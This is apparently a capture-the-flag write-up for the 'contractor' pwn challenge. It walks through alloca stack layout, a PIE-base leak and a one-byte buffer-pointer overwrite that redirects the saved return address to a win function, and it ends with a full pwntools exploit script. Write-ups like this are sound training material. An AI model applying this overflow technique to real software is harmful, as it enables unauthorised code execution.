.text:00000000000014B2                 mov     rdx, rax
15
.text:00000000000014B5                 and     edx, 0FFFh
16
.text:00000000000014BB                 test    rdx, rdx
17
.text:00000000000014BE                 jz      short loc_14D0
18
.text:00000000000014C0                 and     eax, 0FFFh
19
.text:00000000000014C5                 sub     rax, 8
20
.text:00000000000014C9                 add     rax, rsp
21
.text:00000000000014CC                 or      qword ptr [rax], 0

In short, it is just sub rsp, N but with aligned, and after that it returns a pointer to the beginning of the allocated space. If the allocation causes stack overflow, program behaviour is undefined. And this pointer is located at rbp-0x18. So when we look at the stack frame we can see

1
pwndbg> x/48xg $rsp
2
0x7fffffffda70: 0x0000000000000000      0x0000000000000000 <----------------- s->name
3
0x7fffffffda80: 0x0000000000000000      0x0000000000000000 <----------------- s->reason
4
0x7fffffffda90: 0x0000000000000000      0x0000000000000000
5
0x7fffffffdaa0: 0x0000000000000000      0x0000000000000000
6
0x7fffffffdab0: 0x0000000000000000      0x0000000000000000
7
0x7fffffffdac0: 0x0000000000000000      0x0000000000000000
8
0x7fffffffdad0: 0x0000000000000000      0x0000000000000000
9
0x7fffffffdae0: 0x0000000000000000      0x0000000000000000
10
0x7fffffffdaf0: 0x0000000000000000      0x0000000000000000
11
0x7fffffffdb00: 0x0000000000000000      0x0000000000000000
12
0x7fffffffdb10: 0x0000000000000000      0x0000000000000000
13
0x7fffffffdb20: 0x0000000000000000      0x0000000000000000
14
0x7fffffffdb30: 0x0000000000000000      0x0000000000000000
15
0x7fffffffdb40: 0x0000000000000000      0x0000000000000000
16
0x7fffffffdb50: 0x0000000000000000      0x0000000000000000
17
0x7fffffffdb60: 0x0000000000000000      0x0000000000000000
18
0x7fffffffdb70: 0x0000000000000000      0x0000000000000000
19
0x7fffffffdb80: 0x0000000000000000      0x0000000000000000 <----------------- s->speciality
20
                      |______________________________________________________ s-> age
21
0x7fffffffdb90: 0x0000000000000000      0x0000555555555b50 <----------------- __libc_csu_init
22
0x7fffffffdba0: 0x0000000000000000      0x00007fffffffda70 <----------------- buf pointer
23
0x7fffffffdbb0: 0x00007fffffffdcb0      0xd72cde47ec950800 <----------------- Canary
24
0x7fffffffdbc0: 0x0000000000000000      0x00007ffff7df9083 <----------------- saved RIP
25
                      |______________________________________________________ saved RBP

So the exactly flow of this is *alloca + offset, which *alloca is buf pointer and offset is the offset from buf pointer too struct variable.

Exploit Development

The flow is that, so we need to leak pie base first

1
    sl(b'A' * 15)
2
    sl(b'B' * 255)
3
    sl(b'4')
4
    s(b'C' * 16)
5

6
    ru(b'CCCCCCCCCCCCCCCC')
7
    __libc_csu_init = u64(rl()[:-1].ljust(0x8, b'\0'))
8
    exe.address = __libc_csu_init - exe.sym["__libc_csu_init"]
9
    slog("__libc_csu_init", __libc_csu_init)
10
    slog("pie base", exe.address)

Then is let the program return to win function. If we look carefully in option 4, we have Buffer Overflow and once it copy our input from savebuffer to speciality it will do like this

1
.text:000000000000195E                 mov     eax, cs:i
2
.text:0000000000001964                 movzx   ecx, cs:safe_buffer
3
.text:000000000000196B                 mov     rdx, [rbp+s]
4
.text:000000000000196F                 cdqe
5
.text:0000000000001971                 mov     [rdx+rax+118h], cl
6
.text:0000000000001978                 mov     eax, cs:i
7
.text:000000000000197E                 add     eax, 1

This is like *alloca + 0x118, which is location of s->speciality, so that means speciality + 0x20 + 0x20 == saved RIP or *alloca + 0x118 + 0x20 + 0x20 == saved RIP. So what we need to do is overwrite that buf pointer to make it be *alloca + 0x118 + 0x20 (we just can overwrite 1 byte) because we can just let our input reach buf pointer. And according to the disassembly I can calculate that 1 byte we need to overwrite is 0x1f because after it successfully overwrite saved RIP it’ll i + 1 to it

1
21:0108│-048 0x7ffccba40a08 ◂— 0x42424242424242 /* 'BBBBBBB' */
2
22:0110│-040 0x7ffccba40a10 ◂— 4
3
23:0118│-038 0x7ffccba40a18 ◂— 0x6161616261616161 ('aaaabaaa')
4
24:0120│-030 0x7ffccba40a20 ◂— 0x6161616461616163 ('caaadaaa')
5
25:0128│-028 0x7ffccba40a28 ◂— 0x6161616661616165 ('eaaafaaa')
6
26:0130│-020 0x7ffccba40a30 ◂— 0x261616167
7
27:0138│-018 0x7ffccba40a38 —▸ 0x7ffccba4091f ◂— 0x4242424242424242 ('BBBBBBBB')
8
28:0140│-010 0x7ffccba40a40 —▸ 0x7ffccba40b40 ◂— 1
9
29:0148│-008 0x7ffccba40a48 ◂— 0xa1044c48b6ae7a00
10
2a:0150│ rbp 0x7ffccba40a50 ◂— 0
11
2b:0158│+008 0x7ffccba40a58 —▸ 0x55be678c7343 (contract) ◂— endbr64
12
2c:0160│+010 0x7ffccba40a60 ◂— 0x50 /* 'P' */
13
2d:0168│+018 0x7ffccba40a68 —▸ 0x7ffccba40b48 —▸ 0x7ffccba40f67 ◂— '/mnt/e/sec/CTFs/2025/HTBCA/pwn_contractor/challenge/contractor'
14
2e:0170│+020 0x7ffccba40a70 ◂— 0x1487a07a0
15
2f:0178│+028 0x7ffccba40a78 —▸ 0x55be678c7441 (main) ◂— endbr64
16
30:0180│+030 0x7ffccba40a80 —▸ 0x55be678c7b50 (__libc_csu_init) ◂— endbr64
17
31:0188│+038 0x7ffccba40a88 ◂— 0xb2689d4c54cd172b
18
pwndbg> p/x 0x7ffccba40a58-0x7ffccba4091f
19
$1 = 0x139
20
pwndbg> p/x 0x7ffccba40a58-0x7ffccba4091f-0x20
21
$2 = 0x119

This might seem confusing because of my poor explanation, but basically we have to make sure that the next copy to the stack will be right at saved RIP and to do that we have to align it to *alloca + 0x118 + 0x20. As for the reason why the last byte is overwritten, it is 0x1f and not 0x20. We will start with 0x20 first.

If normally *alloca is now at the top stack

1
pwndbg> p/x 0x7ffccba40a58-0x7ffccba40900
2
$7 = 0x158

But when analyzing the disassembly, we see that when we mistakenly enter speciality where Buffer Overflow occurs, it will be *alloca + 0x118 and we see that from buf pointer to saved RIP, the offset will be 0x20. If we still take the old pointer value, it will not be correct at saved RIP.

1
pwndbg> p/x 0x7ffccba40900+0x118+0x20
2
$12 = 0x7ffccba40a38

We will see it right away buf pointer this is not what we expected so we need to add 0x20 to the old *alloca address (*(old alloca) + 0x118 + 0x20 + 0x20) to make it correct as we calculated. But we have to subtract one because if in the perfect case we successfully write saved RIPon the next copy i.e.i + 1` at this point our offset will be off so we need to subtract one

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5

6
context.log_level = 'debug'
7
exe = context.binary = ELF('./contractor', checksec=False)
8
libc = exe.libc
9

10
def init(argv=[], *a, **kw):
11
    if args.GDB:
12
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
13
    elif args.REMOTE:
14
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
15
    elif args.DOCKER:
16
        docker_port = sys.argv[1]
17
        docker_path = sys.argv[2]
18
        p = remote("localhost", docker_port)
19
        sleep(1)
20
        pid = process(["pgrep", "-fx", docker_path]).recvall().strip().decode()
21
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
22
        pause()
23
        return p
24
    else:
25
        return process([exe.path] + argv, *a, **kw)
26

27
gdbscript = '''
28

29
# brva 0x153C
30
# brva 0x15BB
31
# brva 0x1639
32
# brva 0x167A
33
# brva 0x1735
34
brva 0x175E
35
brva 0x1AA4
36

37
c
38
c
39
'''.format(**locals())
40

41
p = init()
42

43
# ==================== EXPLOIT ====================
44

45
def exploit():
46

47
    sl(b'A' * 15)
48
    sl(b'B' * 255)
49
    sl(b'4')
50
    s(b'C' * 16)
51

52
    ru(b'CCCCCCCCCCCCCCCC')
53
    __libc_csu_init = u64(rl()[:-1].ljust(0x8, b'\0'))
54
    exe.address = __libc_csu_init - exe.sym["__libc_csu_init"]
55
    slog("__libc_csu_init", __libc_csu_init)
56
    slog("pie base", exe.address)
57

58
    sl(b'4')
59
    sleep(0.4)
60

61
    payload = flat(
62
    {
63
        28: p32(1)
64
    },
65
        b'\x1f' + p64(exe.sym.contract)
66
    )
67
    sla(b'at: ', payload)
68
    ru(b' lad!\n\n')
69

70

71
    interactive(flag=True)
72

73
if __name__ == '__main__':
74
    exploit()